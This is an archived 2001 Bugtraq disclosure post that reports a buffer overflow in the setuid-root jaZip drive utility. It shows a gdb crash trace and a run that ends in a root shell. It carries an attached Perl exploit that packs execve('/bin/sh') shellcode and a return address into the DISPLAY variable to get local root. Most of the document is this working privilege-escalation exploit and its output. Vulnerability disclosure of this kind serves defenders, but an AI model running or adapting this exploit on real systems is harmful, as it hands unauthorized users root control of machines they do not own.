5959188 2001-01-14 17:05 +0000 /38 rader/ teleh0r <teleh0r@DOGLOVER.COM>
Sänt av: joel@lysator.liu.se
Importerad: 2001-01-15 19:24 av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: teleh0r@DOGLOVER.COM
Mottagare: Bugtraq (import) <14803>
Ärende: Vulnerability in jaZip.
------------------------------------------------------------
Dear, Bugtraq.
jaZip is a program for managing an Iomega Zip or Jaz drive.
It is often installed setuid root - and because of a buffer
overflow it is possible for regular users to become root.
Please excuse me if this was know. Please note that I can not
guarantee that this information is correct.
Tested rpm:
ftp://ftp.linux.com/pub/mirrors/turbolinux/turbolinux/TurboLinux/
RPMS/jaZip-0.32-2.i386.rpm
[root@localhost /root]# export DISPLAY=`perl -e '{print
"A"x"2100"}'` [root@localhost /root]# gdb /usr/X11R6/bin/jazip GNU
gdb 19991004 Copyright 1998 Free Software Foundation, Inc. (gdb) r
Starting program: /usr/X11R6/bin/jazip
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
----
[teleh0r@localhost teleh0r]$ rpm -q jaZip
jaZip-0.32-2
[teleh0r@localhost teleh0r]$ ./jazip-exploit.pl
Address: 0xbffff7ac
bash#
Exploit attached.
Sincerely yours,
teleh0r
--
To avoid criticism, do nothing, say nothing, be nothing.
-- Elbert Hubbard
(5959188) --------------------------------(Ombruten)
Bilaga (application/x-perl) i text 5959189
5959189 2001-01-14 17:05 +0000 /54 rader/ teleh0r <teleh0r@DOGLOVER.COM>
Bilagans filnamn: "jazip-exploit.pl"
Importerad: 2001-01-15 19:24 av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: teleh0r@DOGLOVER.COM
Mottagare: Bugtraq (import) <14804>
Bilaga (text/plain) till text 5959188
Ärende: Bilaga (jazip-exploit.pl) till: Vulnerability in jaZip.
------------------------------------------------------------
#!/usr/bin/perl
## jaZip Exploit / Tested version: jaZip-0.32-2 / anno 2000
## teleh0r@doglover.com / http://teleh0r.cjb.net/
$shellcode = # Shellcode by: Taeho Oh
"\xeb\x1f". #/* jmp 0x1f */
"\x5e". #/* popl %esi */
"\x89\x76\x08". #/* movl %esi,0x8(%esi) */
"\x31\xc0". #/* xorl %eax,%eax */
"\x88\x46\x07". #/* movb %eax,0x7(%esi) */
"\x89\x46\x0c". #/* movl %eax,0xc(%esi) */
"\xb0\x0b". #/* movb $0xb,%al */
"\x89\xf3". #/* movl %esi,%ebx */
"\x8d\x4e\x08". #/* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c". #/* leal 0xc(%esi),%edx */
"\xcd\x80". #/* int $0x80 */
"\x31\xdb". #/* xorl %ebx,%ebx */
"\x89\xd8". #/* movl %ebx,%eax */
"\x40". #/* inc %eax */
"\xcd\x80". #/* int $0x80 */
"\xe8\xdc\xff\xff\xff". #/* call -0x24 */
"/bin/sh"; #/* .string \"/bin/sh\" */
$ret = 0xbffff7ac; # May have to be modified.
$len = 2100;
$nop = 'A';
if (@ARGV == 1) {
$offset = $ARGV[0];
}
for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}
$buffer .= $shellcode;
print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
$new_ret = pack('l',($ret + $offset));
$buffer .= $nop x 3; # May have to be modified.
for ($i += length($shellcode); $i < $len; $i += 4) {
$buffer .= $new_ret;
}
if ($ENV{'DISPLAY'}) {
delete($ENV{'DISPLAY'});
}
local($ENV{'DISPLAY'}) = $buffer;
exec("/usr/X11R6/bin/jazip");
(5959189) ------------------------------------------